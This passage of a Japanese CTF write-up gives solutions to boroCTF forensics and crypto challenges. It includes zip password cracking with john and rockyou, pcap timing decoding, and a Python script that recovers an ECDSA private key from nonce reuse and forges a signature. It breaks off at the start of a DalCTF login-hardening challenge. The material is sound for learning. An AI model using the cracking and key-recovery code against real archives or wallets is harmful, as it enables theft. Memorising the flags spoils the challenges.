1g 0:00:00:05 DONE (2026-06-14 08:06) 0.1883g/s 1521Kp/s 1521Kc/s 1521KC/s four015..fodona64
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

パスワード forget92936281 で解凍し、展開されるflag.txtの内容を確認する。

$ unzip flag.zip
Archive:  flag.zip
[flag.zip] flag.txt password: 
 extracting: flag.txt
$ cat flag.txt           
boroCTF{f!l3_f0r3nsics_FTW!!}
boroCTF{f!l3_f0r3nsics_FTW!!}

File-et Mignon (Forensics 200)

$ gzip -d filet_mignon_challenge.tar.gz                                   
gzip: filet_mignon_challenge.tar: Value too large for defined data type

tarファイルは正しい情報になっていない。含まれている文字列を確認してみる。

$ strings filet_mignon_challenge.tar 
filet_mignon.bin
0000644
0001750
0001750
00000100000
15212261173
024417
ustar  
amer
amer
00000010000
00000010000
00000010000
00000010000
00000010000
00000010000
00000010000
00000010000
00000000000
boroC
TF{y0
u_c4r
v3d_t
h3_v0
1d_l1
k3_4_
ch3f}

後半の文字列を結合する。

boroCTF{y0u_c4rv3d_th3_v01d_l1k3_4_ch3f}

Listen Close (Forensics 200)

Audacityで開き、スペクトログラムを見ると、フラグが現れた。

boroCTF{Sp3c^R0}

Chronos (Forensics 200)

各パケットの時間差を見てみると、約0.25と約0.75のパターンの2種類あることがわかる。短い方を"0"、長い方を"1"にしてデコードする。

#!/usr/bin/env python3
from scapy.all import *

packets = rdpcap('chronos.pcap')

b_data = ''
pre_time = 1718000000
for p in packets:
    cur_time = p.time
    diff_time = cur_time - pre_time
    if diff_time >= 0.24 and diff_time <= 0.26:
        b_data += '0'
    else:
        b_data += '1'
    pre_time = cur_time

flag = ''
for i in range(0, len(b_data), 8):
    flag += chr(int(b_data[i: i+8], 2))
print(flag)
boroCTF{c0mbobulat3_sp@gh3tti_nep0t1$m}

Blackwall Protocol (Forensics 200)

$ file david_last_moments.bd
david_last_moments.bd: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 65535)

拡張子をpcapに変更し、Wiresharkで見てみる。各パケットの時間差を見てみると、約0.000150と約0.000650のパターンの2種類あることがわかる。UDPのパケットのみを対象に短い方を"0"、長い方を"1"にしてデコードする。

#!/usr/bin/env python3
from scapy.all import *

packets = rdpcap('david_last_moments.pcap')

b_data = ''
pre_time = 0
for p in packets:
    if p.haslayer(UDP):
        cur_time = int(str(p.time).split('.')[1])
        diff_time = cur_time - pre_time
        if diff_time >= 149 and diff_time <= 151:
            b_data += '0'
        else:
            b_data += '1'
        pre_time = cur_time

flag = ''
for i in range(0, len(b_data), 8):
    flag += chr(int(b_data[i: i+8], 2))
print(flag)
boroCTF{s4nd3v1st4n_gh0st_1n_th3_m4ch1n3_8f92a}

Judgment of Solomon (Forensics 300)

$ grep -oE 'boroCTF\{.+\}' code
boroCTF{I_C0xL6n"+_d0_it_St11nz_n0w_go}

これは通らなかった。0Aを改行とし、上記のフラグを取り除くと、RGBで66×66の画像にできそう。

#!/usr/bin/env python3
from PIL import Image

with open('code', 'r') as f:
    lines = f.read().splitlines()

data = lines[0].replace('0A', '\n')
data = data.replace('boroCTF{I_C0xL6n"+_d0_it_St11nz_n0w_go}', '')
data = data.splitlines()

WIDTH  = 66
HEIGHT = 66

output_img = Image.new('RGB', (WIDTH, HEIGHT), (255, 255, 255))
for y in range(HEIGHT):
    row_hex = data[y]
    for x in range(WIDTH):
        row = bytes.fromhex(row_hex)
        r = row[x * 3 + 0]
        g = row[x * 3 + 1]
        b = row[x * 3 + 2]
        output_img.putpixel((x, y), (r, g, b))

output_img.save('chall.png')


実行した結果、QRコードっぽい画像になった。ただこのままでは、読めないので、QRコードとして認識できるよう書き出す。

XXXXXXX_XXX_X_XX__X_X_X___XXXXXXX
X_____X_X_XXX__XXXX__X_X__X_____X
X_XXX_X__XX_X_X_XXX___XX__X_XXX_X
X_XXX_X_XXX__X_X_XX__XXX__X_XXX_X
X_XXX_X_X______XXX____X_X_X_XXX_X
X_____X_XX__XX_X_X_X_XX_X_X_____X
XXXXXXX_X_X_X_X_X_X_X_X_X_XXXXXXX
__________XXX_XX___XXXXXX________
___X________X_X__XX_____X__XXX_XX
X___X_________X_X_X______XX__XX__
XXXXX_XXXXXX_X__________XXX_X_X_X
X___X__X___XX_XX__X_____X_XX_X__X
__XXXXX__X__X__X_X__X___X_X______
X__X_X__X_____XXX___XXX_X_X_XX__X
___X_XX__XX_X_X__XXX_X_X_XXX_X_X_
X_X_X___X_X_XXXX__X__X_XX_XXXX_X_
_XXXXXX_____XXXXX_XX_XX___XX_X_XX
X___XX____X_X_XXX__X__X_X________
__X_X_XX_X_X_XXX_XXXXX___XX_X__XX
X__X___XXXXXXXXXX___XX___X__X___X
X_X__XXX__XX_X_X_XX__X_X_X_X_X___
_XX_____XX_X_XXXX_XXX_X_XXXX__XX_
XXX_XXX_____X_XXX___XXX_X___XX__X
_XX_XX_X___XX___X_XXXXXXX____X___
X_XXX_XXXXX___XX____XX_XXXXXX____
________XXXXXX__X__X_XX_X___XX___
XXXXXXX___X__X__X_X___X_X_X_X_XX_
X_____X___XX___XX_X_XXXXX___X___X
X_XXX_X___X___XXXXXX____XXXXXX_X_
X_XXX_X_X__X__XXX_XXX_XXX_X_X__X_
X_XXX_X__XXX_X_XX_X___XXX_XXX_X_X
X_____X__XXXXX_X_X_XX__XXX_______
XXXXXXX__XX__X_XXX_X__X_XX_X_____
$ cat qr.txt                         
XXXXXXX_XXX_X_XX__X_X_X___XXXXXXX
X_____X_X_XXX__XXXX__X_X__X_____X
X_XXX_X__XX_X_X_XXX___XX__X_XXX_X
X_XXX_X_XXX__X_X_XX__XXX__X_XXX_X
X_XXX_X_X______XXX____X_X_X_XXX_X
X_____X_XX__XX_X_X_X_XX_X_X_____X
XXXXXXX_X_X_X_X_X_X_X_X_X_XXXXXXX
__________XXX_XX___XXXXXX________
___X________X_X__XX_____X__XXX_XX
X___X_________X_X_X______XX__XX__
XXXXX_XXXXXX_X__________XXX_X_X_X
X___X__X___XX_XX__X_____X_XX_X__X
__XXXXX__X__X__X_X__X___X_X______
X__X_X__X_____XXX___XXX_X_X_XX__X
___X_XX__XX_X_X__XXX_X_X_XXX_X_X_
X_X_X___X_X_XXXX__X__X_XX_XXXX_X_
_XXXXXX_____XXXXX_XX_XX___XX_X_XX
X___XX____X_X_XXX__X__X_X________
__X_X_XX_X_X_XXX_XXXXX___XX_X__XX
X__X___XXXXXXXXXX___XX___X__X___X
X_X__XXX__XX_X_X_XX__X_X_X_X_X___
_XX_____XX_X_XXXX_XXX_X_XXXX__XX_
XXX_XXX_____X_XXX___XXX_X___XX__X
_XX_XX_X___XX___X_XXXXXXX____X___
X_XXX_XXXXX___XX____XX_XXXXXX____
________XXXXXX__X__X_XX_X___XX___
XXXXXXX___X__X__X_X___X_X_X_X_XX_
X_____X___XX___XX_X_XXXXX___X___X
X_XXX_X___X___XXXXXX____XXXXXX_X_
X_XXX_X_X__X__XXX_XXX_XXX_X_X__X_
X_XXX_X__XXX_X_XX_X___XXX_XXX_X_X
X_____X__XXXXX_X_X_XX__XXX_______
XXXXXXX__XX__X_XXX_X__X_XX_X_____
$ python2 sqrd.py qr.txt
boroCTF{I_f1%ed_wHat_w4$_br0Ken}
boroCTF{I_f1%ed_wHat_w4$_br0Ken}

A basic start (Crypto 100)

Beforeの方はbase64文字列なので、デコードする。

$ echo VXNlcjE6IEhleSwgSSB0aGluayB0aGUgQm9ybyB0ZWFtIGlzIG9udG8gdXMhClVzZXIyOiBObyBXYXkhIFRoZXkncmUgZ29pbmcgdG8gc2VuZCB0aGUgQ1RGIHBhcnRpY2lwYW50cyBhZnRlciB1cyEKVXNlcjM6IEl0J2xsIGJlIG9rYXksIHdlJ2xsIG1vdmUgdG8gYW5vdGhlciBiYXNlIGVuY29kaW5nIQ== | base64 -d
User1: Hey, I think the Boro team is onto us!
User2: No Way! They're going to send the CTF participants after us!
User3: It'll be okay, we'll move to another base encoding!

やはりこちらにはフラグはない。Afterの方はいろいろbase系をデコードしてみたところ、base91がヒットし、https://www.dcode.fr/base-91-encodingでデコードできた。

User1: Okay we're on the new encoding.
User2: You wonder if anyones ever reading your messages?
User1: Nope. boroCTF{B@5ics_0f_B@si6s}
boroCTF{B@5ics_0f_B@si6s}

Boro Coin 1 (Crypto 100)

ECDSAは同じrが使われていると秘密鍵が簡単に算出できる。この場合、以下のように式を変形し、kを求めることができる。

s1 = (pow(k, -1, n) * (z1 + r * d)) % n
s2 = (pow(k, -1, n) * (z2 + r * d)) % n
                ↓
s1 - s2 = (pow(k, -1, n) * (z1 - z2) % n
                ↓
k = (z1 - z2) * pow(s1 - s2, -1, n) % n

kがわかれば、逆算してdを求めることができる。

#!/usr/bin/env python3
import json
import hashlib
from ecdsa import SECP256k1

curve = SECP256k1
n = curve.order

with open('transactions.json', 'r') as f:
    json_data = json.load(f)

rs = []
ss = []
trs = []
for k, v in json_data.items():
    index = 0
    sig = v['signature_der']

    index += 4
    assert sig[index:index+2] == '02'
    index += 2
    size = int(sig[index:index + 2], 16)
    index += 2
    r = int(sig[index:index + size * 2], 16)

    index += size * 2
    assert sig[index:index+2] == '02'
    index += 2
    size = int(sig[index:index + 2], 16)
    index += 2
    s = int(sig[index:index + size * 2], 16)

    rs.append(r)
    ss.append(s)
    trs.append(v)

found = False
for i in range(len(rs)):
    for j in range(i + 1, len(rs)):
       if rs[i] == rs[j]:
           found = True
           trs0 = trs[i]
           trs1 = trs[j]
           r0 = rs[i]
           s0 = ss[i]
           r1 = rs[j]
           s1 = ss[j]
           break

m0 = ':'.join([trs0['sender'], trs0['recipient'], trs0['amount']])
m1 = ':'.join([trs1['sender'], trs1['recipient'], trs1['amount']])
z0 = int(hashlib.sha256(m0.encode()).hexdigest(), 16)
z1 = int(hashlib.sha256(m1.encode()).hexdigest(), 16)

assert r0 == r1

k = (z0 - z1) * pow(s0 - s1, -1, n) % n
d = (s0 * k - z0) * pow(r0, -1, n) % n

flag = f'boroCTF{{{hex(d)[2:]}}}'
print(flag)
boroCTF{1b7ba9dafeb7c7a30fd8043a656c3ab89509db070dbd48b593d8e266b56ca22d}

Boro Coin 2 (Crypto 100)

senderは"Suspect"、recipientは"Boro_Confiscation_Committee"。amountは全額なので、初期値と入金、出金から計算する。
あとは「Boro Coin 1」で算出したパラメータを使って、署名を作成する。

#!/usr/bin/env python3
import json
import hashlib
from ecdsa import SECP256k1
from cryptography.hazmat.primitives.asymmetric.utils import encode_dss_signature

curve = SECP256k1
n = curve.order

with open('transactions.json', 'r') as f:
    json_data = json.load(f)

rs = []
ss = []
trs = []
amount = 51.42
for k, v in json_data.items():
    index = 0
    sig = v['signature_der']

    index += 4
    assert sig[index:index+2] == '02'
    index += 2
    size = int(sig[index:index + 2], 16)
    index += 2
    r = int(sig[index:index + size * 2], 16)

    index += size * 2
    assert sig[index:index+2] == '02'
    index += 2
    size = int(sig[index:index + 2], 16)
    index += 2
    s = int(sig[index:index + size * 2], 16)

    rs.append(r)
    ss.append(s)
    trs.append(v)

    if v['flow'] == 'Incoming' and v['sender'] != 'Suspect':
        amount += float(v['amount'])
    elif v['flow'] == 'Outgoing' and v['recipient'] != 'Suspect':
        amount -= float(v['amount'])

found = False
for i in range(len(rs)):
    for j in range(i + 1, len(rs)):
       if rs[i] == rs[j]:
           found = True
           trs0 = trs[i]
           trs1 = trs[j]
           r0 = rs[i]
           s0 = ss[i]
           r1 = rs[j]
           s1 = ss[j]
           break

m0 = ':'.join([trs0['sender'], trs0['recipient'], trs0['amount']])
m1 = ':'.join([trs1['sender'], trs1['recipient'], trs1['amount']])
z0 = int(hashlib.sha256(m0.encode()).hexdigest(), 16)
z1 = int(hashlib.sha256(m1.encode()).hexdigest(), 16)

assert r0 == r1

k = (z0 - z1) * pow(s0 - s1, -1, n) % n
d = (s0 * k - z0) * pow(r0, -1, n) % n

amount = "{:.2f}".format(amount)
m = 'Suspect:Boro_Confiscation_Committee:' + amount
z = int(hashlib.sha256(m.encode()).hexdigest(), 16)

r = r0
s = int((pow(k, -1, n) * (z + r * d)) % n)
sig = encode_dss_signature(r, s).hex()

flag = f'boroCTF{{{sig}}}'
print(flag)
boroCTF{304402202cbda85fc21f5e62f94d8378d2dad1a05bc5d5522d5a717f2bdf1df13d558ec70220033a47e398c6d81b053a235884c13b41f5618a6fa85715198a09beefdd5c3342}

Efficient Encryption (Crypto 100)

ナンプレの問題のようだ。ただし、使われる文字は以下の9種類。

1@ALNQRST

Excel上に配置し、解いていく。

一番上の段がフラグになる。

boroCTF{L@T1NSQAR}

Johnny Boy (Crypto 100)

zipはパスワードがかかっているので、クラックする。

$ zip2john a_USE.zip > hash.txt
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Cost 1 (HMAC size) is 366 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
chips            (a_USE.zip/USE.log)     
1g 0:00:00:00 DONE (2026-06-15 08:07) 3.125g/s 102400p/s 102400c/s 102400C/s christal..eatme1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

パスワード chips で解凍し、展開されたファイルの内容を確認する。

$ 7z x a_USE.zip

7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
 64-bit locale=ja_JP.UTF-8 Threads:128 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 564 bytes (1 KiB)

Extracting archive: a_USE.zip
--
Path = a_USE.zip
Type = zip
Physical Size = 564

    
Enter password (will not be echoed):
Everything is Ok

Size:       1387
Compressed: 564
$ cat USE.log                                
[2026-02-09 17:20:01] INFO  Idle process heartbeat: System state nominal.
[2026-02-09 17:20:11] INFO  Routine polling: No updates found.
[2026-02-09 17:20:21] DEBUG Thread id=0842 reporting status: Awaiting instruction.
[2026-02-09 17:20:31] INFO  Idle process heartbeat: System state nominal.
[2026-02-09 17:20:41] TRACE Buffer check: 0 bytes pending.
[2026-02-09 17:20:51] INFO  Routine polling: No updates found.
[2026-02-09 17:21:01] INFO  Idle process heartbeat: System state nominal.
[2026-02-09 17:21:11] DEBUG Maintenance task 'noop' completed in 0.001ms.
[2026-02-09 17:21:21] INFO  Routine polling: No updates found.
[2026-02-09 17:21:31] INFO  Idle process heartbeat: System state nominal.
[2026-02-09 17:21:41] TRACE Cache integrity: Verified (unchanged).
[2026-02-09 17:21:51] INFO  Routine polling: No updates found.
[2026-02-09 17:22:01] INFO  Idle process heartbeat: System state nominal.
[2026-02-09 17:22:11] DEBUG Keep-alive packet sent to localhost.
[2026-02-09 17:22:21] INFO  Routine polling: No updates found.
[2026-02-09 17:22:31] INFO  Idle process heartbeat: System state nominal.
[2026-02-09 17:22:41] TRACE Stack scan: No anomalies detected.
[2026-02-09 17:22:51] INFO  Routine polling: No updates found.
[2026-02-09 17:23:01] INFO  Idle process heartbeat: System state nominal.
[2026-02-09 17:23:11] DEBUG System clock sync: 0.000s offset.

他の3つのファイルについても同様に実行してみる。

$ zip2john b_JOHN.zip > hash.txt
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Cost 1 (HMAC size) is 89 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
fishandchips     (b_JOHN.zip/JOHN.log)     
1g 0:00:00:00 DONE (2026-06-15 08:11) 4.347g/s 142469p/s 142469c/s 142469C/s christal..eatme1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
$ 7z x b_JOHN.zip

7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
 64-bit locale=ja_JP.UTF-8 Threads:128 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 289 bytes (1 KiB)

Extracting archive: b_JOHN.zip
--
Path = b_JOHN.zip
Type = zip
Physical Size = 289

    
Enter password (will not be echoed):
Everything is Ok

Size:       93
Compressed: 289
$ cat JOHN.log
[2026] INFO PASSWORD INSECURE PLEASE MOVE LOGS
[2026] MESSAGE SYSADMIN "fine I'll move them"

$ zip2john c_THE.zip > hash.txt
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Cost 1 (HMAC size) is 69 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
sunchips         (c_THE.zip/THE.log)     
1g 0:00:00:00 DONE (2026-06-15 08:13) 1.538g/s 176443p/s 176443c/s 176443C/s Dominic1..022593
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
$ 7z x c_THE.zip 

7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
 64-bit locale=ja_JP.UTF-8 Threads:128 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 267 bytes (1 KiB)

Extracting archive: c_THE.zip
--
Path = c_THE.zip
Type = zip
Physical Size = 267

    
Enter password (will not be echoed):
Everything is Ok

Size:       70
Compressed: 267
$ cat THE.log 
[2026] INFO PLEASE MAKE BETTER PASSWORDS
[2026] SYSADMIN MESSAGE "NO"

$ zip2john d_RIPPER.zip > hash.txt                
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Cost 1 (HMAC size) is 86 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:01:34 DONE (2026-06-15 08:17) 0g/s 151034p/s 151034c/s 151034C/s "chinor23"..*7¡Vamos!
Session completed.

これはパスワードが見つからない。ルールのオプションを付けて試す。

$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --rules
Using default input encoding: UTF-8
Loaded 1 password hash (ZIP, WinZip [PBKDF2-SHA1 256/256 AVX2 8x])
Cost 1 (HMAC size) is 86 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
chip!            (d_RIPPER.zip/RIPPER.log)     
1g 0:00:07:13 DONE (2026-06-15 08:38) 0.002308g/s 141043p/s 141043c/s 141043C/s romtelecom!..frumosul!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

パスワードが見つかった。

$ 7z x d_RIPPER.zip

7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
 64-bit locale=ja_JP.UTF-8 Threads:128 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 290 bytes (1 KiB)

Extracting archive: d_RIPPER.zip
--
Path = d_RIPPER.zip
Type = zip
Physical Size = 290

    
Enter password (will not be echoed):
Everything is Ok

Size:       86
Compressed: 290
$ cat RIPPER.log
[2026] ALL PASSWORDS HAVE BEEN BREACHED
[2026] SYSADMIN MESSAGE "boroCTF{L@_R11pP3r;}
boroCTF{L@_R11pP3r;}

Et Tu, Brute (Crypto 100)

シーザー暗号と推測し、https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。

Rotation 3:
boroCTF{@fr13ndn0mor3}
boroCTF{@fr13ndn0mor3}

Not the Flag (Crypto 100)

鍵長1のXOR暗号と推測し、フラグが"b"から始まることを前提に復号する。

>>> enc = [0x9d, 0x90, 0x8d, 0x90, 0xbc, 0xab, 0xb9, 0x84, 0x8b, 0x97, 0xce, 0xdb, 0xa0, 0x96, 0x8c, 0xa0, 0x91, 0xcf, 0x8b, 0xa0, 0x91, 0x90, 0x8b, 0xa0, 0x8b, 0x97, 0xcc, 0xa0, 0x99, 0x93, 0xbf, 0x98, 0x82]
>>> key = enc[0] ^ ord('b')
>>> ''.join([chr(c ^ key) for c in enc])
'boroCTF{th1$_is_n0t_not_th3_fl@g}'
boroCTF{th1$_is_n0t_not_th3_fl@g}

Flipper's Dilemma (Crypto 100)

問題文にもある0x15とXORしてみる。

>>> s = 'wzgzVASnS4|eE${J%`>h'
>>> ''.join([chr(ord(c) ^ 0x15) for c in s])
'boroCTF{F!ipP1n_0u+}'
boroCTF{F!ipP1n_0u+}

So Many Layers (Crypto 100)

CyberChefで以下の順でデコードする。

  • From Binary
  • From Hex
  • From Base64
boroCTF{L!k3_aN_0n1on^}

Flight (Crypto 100)

問題文はこうなっている。

dark, darker, yet darker.

♌︎□︎❒︎□︎👍︎❄︎☞︎❀︎⬥︎✋︎■︎♑︎📂︎■︎🕯︎♉︎✏︎⧫︎❝︎

「♌︎□︎❒︎□︎」で検索すると、 Wingdingsのことが出てくる。
https://ja.wikipedia.org/wiki/Wingdingsを見て対応するASCIIコードを文字にデコードする。

>>> chr(0x62)
'b'
>>> chr(0x6f)
'o'
>>> chr(0x72)
'r'
>>> chr(0x43)
'C'
>>> chr(0x54)
'T'
>>> chr(0x46)
'F'
>>> chr(0x7b)
'{'
>>> chr(0x77)
'w'
>>> chr(0x49)
'I'
>>> chr(0x6e)
'n'
>>> chr(0x67)
'g'
>>> chr(0x31)
'1'
>>> chr(0x27)
"'"
>>> chr(0x5f)
'_'
>>> chr(0x21)
'!'
>>> chr(0x74)
't'
>>> chr(0x7d)
'}'
boroCTF{wIng1n'_!t}

Anatomically Incorrect (Crypto 200)

電子配置が並んでいる。1s, 2s, 2p, 3s, 3p, 4s, 3d, 4p, 5s, 4d, 5p, 6s, ... という順番が決まっていることから区切りで改行する。

1s2 2s2 2p6 3s2 3p6 4s2 3d10 4p4 
1s2 2s2 2p6 3s2 3p6 
1s2 2s2 2p6 3s2 3p6 4s2 3d3 
1s2 2s2 2p6 3s2 3p6 4s2 3d10 4p6 5s2 4d2 
1s2 2s2 2p6 3s2 3p6 4s2 3d10 4p6 5s2 4d10 5p6 6s2 4f14 5d10 6p6 7s2 5f13 
1s2 2s2 2p6 3s2 3p4 
1s2 2s2 
1s2 2s2 2p6 3s2 3p6 4s2 3d10 4p6 5s2 4d10 5p6 6s2 4f14 5d10 6p6 7s2 5f14 6d9 
1s2 2s2 2p6 3s2 3p6 4s2 3d10 4p6 5s2 4d10 5p6 6s2 4f14 5d10 6p6 7s2 5f14 6d10 7p3 
1s2 2s2 2p6 3s2 3p6 4s2 3d10 4p6 5s2 4d10 5p6

先頭2文字を除いた数値を合計する。

>>> s = '1s2 2s2 2p6 3s2 3p6 4s2 3d10 4p4'.split(' ')
>>> sum([int(c[2:]) for c in s])
34
>>> s = '1s2 2s2 2p6 3s2 3p6'.split(' ')
>>> sum([int(c[2:]) for c in s])
18
>>> s = '1s2 2s2 2p6 3s2 3p6 4s2 3d3'.split(' ')
>>> sum([int(c[2:]) for c in s])
23
>>> s = '1s2 2s2 2p6 3s2 3p6 4s2 3d10 4p6 5s2 4d2'.split(' ')
>>> sum([int(c[2:]) for c in s])
40
>>> s = '1s2 2s2 2p6 3s2 3p6 4s2 3d10 4p6 5s2 4d10 5p6 6s2 4f14 5d10 6p6 7s2 5f13'.split(' ')
>>> sum([int(c[2:]) for c in s])
101
>>> s = '1s2 2s2 2p6 3s2 3p4'.split(' ')
>>> sum([int(c[2:]) for c in s])
16
>>> s = '1s2 2s2'.split(' ')
>>> sum([int(c[2:]) for c in s])
4
>>> s = '1s2 2s2 2p6 3s2 3p6 4s2 3d10 4p6 5s2 4d10 5p6 6s2 4f14 5d10 6p6 7s2 5f14 6d9'.split(' ')
>>> sum([int(c[2:]) for c in s])
111
>>> s = '1s2 2s2 2p6 3s2 3p6 4s2 3d10 4p6 5s2 4d10 5p6 6s2 4f14 5d10 6p6 7s2 5f14 6d10 7p3'.split(' ')
>>> sum([int(c[2:]) for c in s])
115
>>> s = '1s2 2s2 2p6 3s2 3p6 4s2 3d10 4p6 5s2 4d10 5p6'.split(' ')
>>> sum([int(c[2:]) for c in s])
54

添付の周期表で各インデックスのアルファベットを見ていく。

34  -> I
18  -> F
23  -> Oo
40  -> N
101 -> Ed
16  -> Ht
4   -> E
111 -> Fl
115 -> Ag
54  -> S
boroCTF{IFOoNEdHtEFlAgS}

Qwerty! (Crypto 200)

https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherでROT47をすると、以下のようになる。

nptpvyg}yu[-_,5dy4t\

https://ja.wikipedia.org/wiki/キー配列を参考に、キーボード上の左隣を書き出してみる。

boroctf{typ0)m4st3r}

"_"はそのままでよかったようで、次のフラグで通った。

boroCTF{typ0_m4st3r}

Disco (Crypto 200)

各色のRGB値をASCIIコードとしてデコードする。

#!/usr/bin/env python3
from PIL import Image

img = Image.open('dance.png').convert('RGB')
w, h = img.size

flag = []
for y in range(0, h, 100):
    for x in range(0, w, 100):
        r, g, b = img.getpixel((x, y))
        flag += [r, g, b]

flag = bytes(flag)
flag = flag[:flag.find(b'}') + 1].decode()
print(flag)
boroCTF{nEv3r_l0$e_YoU4_Be@t}

Babel's Vault (Crypto 300)

あるseedのときにAUTHORSNOTE.txtの内容で出力されると思われる。これを次のアルファベットを使って、55進数として解釈すれば、seedをもろめることができる。

ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz., "

あとはいろいろ試行錯誤した結果、image_from_seedの結果のRGB値は1桁の値になっていることがわかる。RGBを3桁の数値として考え、AUTHORSNOTE.txtの 0-index 位置として文字を抜き出す。

#!/usr/bin/env python3
from Crypto.Util.number import *

ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz., "

def image_from_seed(seed: int):
    seed -= 3544280111473730708053245299989391042767576758035584864941532983135054385557471251704821961386898312952351964196705929826341249470519527773307760368822866900966805815753783068278548889349543836665523403111718186997472794240513576677869825688599823331092898287899996264278269354262097367564267677985828908400500707121377219995176583385300541638295354464311206278755010401435473144570173464172412737197483163126708640611111755946517658691304892609064813042342902954285745650501185977562418697449354739194065674403430633124423296499205604238088150946292640221318345446017156426656091977240638980387148703351277645718842961379999132951403363512627382489422678491488260403398014102112968841831936470901996301563503272667081474922124353314684967385101874673580717751673824894005780231341138701194842806792826036185271997590257184157891029079248272716184428615345223572737800771414583827486604012918447453378619139203425502567588311766937531579471783883776921510463902447459192002903668439339367698561804477554118223057356090123647104536282589308133717504102614630566883587793581106113480594140252677079605252667084920586048774567258627948087729764085140275916850838797734645018228017677186615682342298879202024669682833247709455595753390238081225529423581678612691506078696488969557625809042278231192266386181580425562138375768960369481077336572739704208027288671754433737184214354385513799418186944719726773638087678099468872606008140456207755545554080863739477466519505964638306396494029183622376705088300283305471170800631112469233319212179598413217953065812070331861550944186174772676827842831404140855872702484641500200252525965833210739
    pixels = []
    for _ in range(225):
        seed, r = divmod(seed, 256)
        seed, g = divmod(seed, 256)
        seed, b = divmod(seed, 256)
        pixels.append((r, g, b))
    return pixels

with open("AUTHORSNOTE.txt", "r") as f:
    page = f.read().rstrip()

seed = 0
for c in page[::-1]:
    seed *= 55
    seed += ALPHABET.index(c)

seed -= 3544280111473730708053245299989391042767576758035584864941532983135054385557471251704821961386898312952351964196705929826341249470519527773307760368822866900966805815753783068278548889349543836665523403111718186997472794240513576677869825688599823331092898287899996264278269354262097367564267677985828908400500707121377219995176583385300541638295354464311206278755010401435473144570173464172412737197483163126708640611111755946517658691304892609064813042342902954285745650501185977562418697449354739194065674403430633124423296499205604238088150946292640221318345446017156426656091977240638980387148703351277645718842961379999132951403363512627382489422678491488260403398014102112968841831936470901996301563503272667081474922124353314684967385101874673580717751673824894005780231341138701194842806792826036185271997590257184157891029079248272716184428615345223572737800771414583827486604012918447453378619139203425502567588311766937531579471783883776921510463902447459192002903668439339367698561804477554118223057356090123647104536282589308133717504102614630566883587793581106113480594140252677079605252667084920586048774567258627948087729764085140275916850838797734645018228017677186615682342298879202024669682833247709455595753390238081225529423581678612691506078696488969557625809042278231192266386181580425562138375768960369481077336572739704208027288671754433737184214354385513799418186944719726773638087678099468872606008140456207755545554080863739477466519505964638306396494029183622376705088300283305471170800631112469233319212179598413217953065812070331861550944186174772676827842831404140855872702484641500200252525965833210740

image = image_from_seed(seed)

msg = ''
for i in range(len(image)):
    index = ''
    for j in range(3):
        index += str(image[i][j])

    msg += page[int(index)]

print(msg)

実行結果は以下の通り。

boroCTFoneSeedCipherInInfinityTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT

後ろの"T"の文字は無視して、整形してフラグの形式にする。

boroCTF{oneSeedCipherInInfinity}

DalCTF 2026 Writeup

この大会は2026/6/6 22:00(JST)~2026/6/8 0:00(JST)に開催されました。
今回は個人で参戦。結果は1146点で327チーム中106位でした。
自分で解けた問題をWriteupとして書いておきます。

Secure the login (Defense)

脆弱性を直す問題。

const express = require('express');
const { Pool } = require('pg');

const app = express();
app.use(express.json());

const pool = new Pool({
  host: 'database',
  user: 'testuser',
  password: 'testpass',
  database: 'testdb',
  port: 5432
});

async function initDB() {
  await pool.query(`
    CREATE TABLE IF NOT EXISTS users (
      id SERIAL PRIMARY KEY,
      username VARCHAR(50) UNIQUE NOT NULL,
      password VARCHAR(100) NOT NULL
    )
  `);

  const adminUser = process.env.ADMIN_USERNAME;
  const adminPass = process.env.ADMIN_PASSWORD;

  await pool.query(
    `INSERT INTO users (username, password) VALUES ($1, $2) ON CONFLICT (username) DO NOTHING`,
    [adminUser, adminPass]
  );
}

app.get('/health', (req, res) => {
